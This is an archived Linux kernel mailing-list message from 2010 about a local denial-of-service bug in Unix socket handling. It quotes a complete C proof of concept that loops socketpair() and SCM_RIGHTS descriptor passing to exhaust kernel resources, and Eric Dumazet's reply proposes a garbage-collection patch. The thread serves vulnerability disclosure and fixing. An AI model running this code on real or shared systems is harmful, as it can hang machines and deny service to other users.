From: "Марк Коренберг" <socketpair@gmail.com>
To: Eric Dumazet <eric.dumazet@gmail.com>
Subject: Re: Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :(
Date: Thu, 25 Nov 2010 11:52:47 +0500 [thread overview]
Message-ID: <AANLkTik8Fxmd-KwGw498fMyONfVNteFcfCmz+9-V_QZh@mail.gmail.com> (raw)
In-Reply-To: <1290666501.2798.84.camel@edumazet-laptop>
Well, It seems, that patch likely will fix 100% CPU usage.
But what about eating all available descriptors in kernel ? vulnerability ?
2010/11/25 Eric Dumazet <eric.dumazet@gmail.com>:
> Le jeudi 25 novembre 2010 à 10:57 +0500, Марк Коренберг a écrit :
>> #include <sys/socket.h>
>> #include <sys/un.h>
>>
>> static int send_fd (int unix_fd, int fd)
>> {
>> struct msghdr msgh;
>> struct cmsghdr *cmsg;
>> char buf[CMSG_SPACE (sizeof (fd))];
>>
>> memset (&msgh, 0, sizeof (msgh));
>> memset (buf, 0, sizeof (buf));
>>
>> msgh.msg_control = buf;
>> msgh.msg_controllen = sizeof (buf);
>>
>> cmsg = CMSG_FIRSTHDR (&msgh);
>> cmsg->cmsg_len = CMSG_LEN (sizeof (fd));
>> cmsg->cmsg_level = SOL_SOCKET;
>> cmsg->cmsg_type = SCM_RIGHTS;
>>
>> msgh.msg_controllen = cmsg->cmsg_len;
>>
>> memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd));
>> return sendmsg (unix_fd, &msgh, 0);
>> }
>>
>>
>> int main ()
>> {
>> int fd[2], ff[2];
>> int target;
>>
>> if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1)
>> return 1;
>>
>> for (;;)
>> {
>> if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
>> return 2;
>> send_fd (ff[0], fd[0]);
>> send_fd (ff[0], fd[1]);
>> close (fd[1]);
>> close (fd[0]);
>> fd[0] = ff[0];
>> fd[1] = ff[1];
>> }
>> }
>
>
> Since you obviously read recent mails on this subject yesterday, why
> dont you Cc netdev ?
>
> There is a very easy way to protect against this actually.
>
> A patch was posted yesterday, and need some adjustements.
>
>
> diff --git a/net/unix/garbage.c b/net/unix/garbage.c
> index c8df6fd..40df93d 100644
> --- a/net/unix/garbage.c
> +++ b/net/unix/garbage.c
> @@ -259,9 +259,16 @@ static void inc_inflight_move_tail(struct unix_sock *u)
> }
>
> static bool gc_in_progress = false;
> +#define UNIX_INFLIGHT_TRIGGER_GC 2000
>
> void wait_for_unix_gc(void)
> {
> + /*
> + * If number of inflight sockets is insane,
> + * force a garbage collect right now.
> + */
> + if (unix_tot_inflight > UNIX_INFLIGHT_TRIGGER_GC && !gc_in_progress)
> + unix_gc();
> wait_event(unix_gc_wait, gc_in_progress == false);
> }
>
>
>
>
--
Segmentation fault
next prev parent reply other threads:[~2010-11-25 6:52 UTC|newest]
Thread overview: 16+ messages / expand[flat|nested] mbox.gz Atom feed top
[not found] <AANLkTikCeddPFRGojPGuB6oq3xGYgovtm8r4=WhjEDpe@mail.gmail.com>
2010-11-25 6:28 ` Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :( Eric Dumazet
2010-11-25 6:52 ` Марк Коренберг [this message]
[not found] ` <1290668246.2798.93.camel@edumazet-laptop>
[not found] ` <AANLkTinQa8BCH-k0m=ndu4u8L-kCiD00jYjKvsvoxK2E@mail.gmail.com>
2010-11-25 7:52 ` Fwd: " Марк Коренберг
2010-11-25 8:16 ` Eric Dumazet
2010-11-25 8:35 ` Марк Коренберг
2010-11-25 14:11 ` Eric Dumazet
2010-11-26 4:38 ` Shan Wei
2010-11-26 6:23 ` Eric Dumazet
2010-11-26 7:52 ` Shan Wei
2010-11-26 7:41 ` Shan Wei
2010-11-26 8:22 ` Eric Dumazet
2010-11-26 8:59 ` Eric Dumazet
2010-11-29 17:46 ` David Miller
2010-11-29 18:01 ` Eric Dumazet
[not found] ` <AANLkTinRhmiVoVR5ibWOKe-OhY4fYUs_PHSATjxMGqg9@mail.gmail.com>
[not found] ` <1290670889.2798.127.camel@edumazet-laptop>
2010-11-25 8:05 ` Марк Коренберг
2010-11-25 7:14 ` Eric Dumazet
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=AANLkTik8Fxmd-KwGw498fMyONfVNteFcfCmz+9-V_QZh@mail.gmail.com \
--to=socketpair@gmail.com \
--cc=eric.dumazet@gmail.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).